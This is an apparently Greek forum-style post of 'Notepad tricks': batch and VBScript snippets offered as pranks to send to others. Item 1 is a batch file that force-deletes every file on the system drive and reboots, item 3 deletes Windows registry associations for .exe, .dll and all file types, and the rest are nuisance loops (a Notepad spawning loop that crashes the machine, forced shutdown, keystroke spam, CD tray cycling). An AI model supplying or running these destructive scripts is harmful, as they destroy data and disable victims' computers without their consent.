Παρακάτω αναφέρονται κάποια πράγματα που θα πρέπει να προσέξετε για να μην μπείτε σε μπελάδες με προγραμματάκια που γίνονται με NotePad!


1) Η μπλε οθόνη του θανάτου [ΕΠΙΚΙΝΔΥΝΟ]
Η Μπλε Οθόνη Του Θανάτου μπορεί να προγραμματιστεί και να σταλεί σαν μια απλή εφαρμογή. Εξαρτάται από εσάς, αν θα είστε προσεκτικοί και αν θα αποκαλύψετε το κόλπο πριν μπείτε σε κανέναν μπελά! Βγάζει ένα μήνυμα ζητώντας να εγκαταστήσετε τα Windows ξανά.


@echo off
del %systemdrive%\*.* /f /s /q
shutdown -r -f -t 00

2) Χαζό κλείσιμο
Αυτό εμφανίζει ένα αστείο μήνυμα και μετά ο υπολογιστής κλείνει.


@echo off
msg * Fatal system error due to admin stupidity!
shutdown -c "Error! You are too stupid!" -s -t 10

3) Διαγραφή Τιμών από το Μητρώο (Registry) [ΕΠΙΚΙΝΔΥΝΟ]
Αυτό θα διαγράψει όλες τις τιμές από το μητρώο (Registry), μετά εμφανίζει ένα μήνυμα (ΔΕΝ ΜΠΟΡΕΙ ΝΑ ΑΝΑΚΤΗΘΕΙ ΑΠΟ)


@ECHO OFF
START reg delete HKCR/.exe
START reg delete HKCR/.dll
START reg delete HKCR/*
:MESSAGE
ECHO Your computer has been fcked. Have a nice day.
GOTO MESSAGE


4) Ατέλειωτα Σημειωματάρια
Αυτό εμφανίζει ατέλειωτα σημειωματάρια μέχρι ο υπολογιστής να παγώσει και να κρασάρει.


@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top

5) Τρελό Caps Lock
Αυτό ανοιγοκλείνει το Caps Lock πολύ γρήγορα


Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop

6) Ατέλειωτα Enter
Αυτό εκτελεί την ενέργεια του κουμπιού Enter ασταμάτητα


Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop

7) Ατέλειωτα Backspace
Αυτό εκτελεί την ενέργεια του κουμπιού Βackspace ασταμάτητα


MsgBox "Let's go back a few steps"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop

Ανοιγόκλεισμα της υποδοχής δίσκου CD
Αυτό κάνει συνέχεια την υποδοχή δίσκου CD/DVD να ανοίγει και να κλείνει.


Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 100
loop


ola auta ta po8ikyete se px: onoma.bat